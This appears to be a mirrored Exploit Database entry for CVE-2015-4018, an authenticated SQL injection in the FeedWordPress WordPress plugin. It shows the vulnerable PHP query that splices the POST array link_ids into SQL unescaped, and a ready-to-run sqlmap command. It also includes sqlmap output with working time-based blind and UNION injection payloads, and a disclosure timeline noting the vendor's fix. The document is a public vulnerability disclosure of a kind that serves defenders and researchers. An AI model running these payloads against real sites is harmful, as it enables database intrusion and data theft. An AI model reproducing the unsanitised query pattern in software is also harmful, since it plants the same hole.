WordPress Plugin FeedWordPress 2015.0426 – SQL Injection

• Exploit Database
• 88 阅读

• 作者： Adrián M. F.
  日期： 2015-05-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37067/

• # Exploit Title: SQLi in FeedWordPress WordPress plugin
  # Date: 2015-05-19
  # Exploit Author: Adrián M. F.
  # Vendor Homepage: https://wordpress.org/plugins/feedwordpress/
  # Vulnerable version: 2015.0426
  # Fixed version: 2015.0514
  # CVE : CVE-2015-4018
  
  
  (1) Authenticated SQLi [CWE-89]
  -------------------------------
  
  * CODE:
  feedwordpresssyndicationpage.class.php:89
  +++++++++++++++++++++++++++++++++++++++++
  $targets = $wpdb->get_results("
  SELECT * FROM $wpdb->links
  WHERE link_id IN (".implode(",",$_POST['link_ids']).")
  ");
  +++++++++++++++++++++++++++++++++++++++++
  http://192.168.167.131/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php
  POST DATA: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1[SQLi]
  
  * POC:
  SQLMap
  +++++++++++++++++++++++++++++++++++++++++
  ./sqlmap.py -u "http://[domain]/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=Y" --data="_wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1" -p "link_ids[]" --dbms mysql --cookie="[cookie]"
  [............]
  POST parameter 'link_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
  sqlmap identified the following injection points with a total of 62 HTTP(s) requests:
  ---
  Parameter: link_ids[] (POST)
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
  Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) AND (SELECT * FROM (SELECT(SLEEP(5)))eHWc) AND (7794=7794
  
  Type: UNION query
  Title: Generic UNION query (NULL) - 13 columns
  Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x70716153577975544373,0x7178716271)-- 
  ---
  [10:40:14] [INFO] the back-end DBMS is MySQL
  web server operating system: Linux Debian 7.0 (wheezy)
  web application technology: Apache 2.2.22, PHP 5.4.39
  back-end DBMS: MySQL 5.0.12
  +++++++++++++++++++++++++++++++++++++++++
  
  Timeline
  ========
  2015-05-09: Discovered vulnerability.
  2015-05-14: Vendor notification.
  2015-05-14: Vendor response and fix.
  2015-05-19: Public disclosure.
  

  Python

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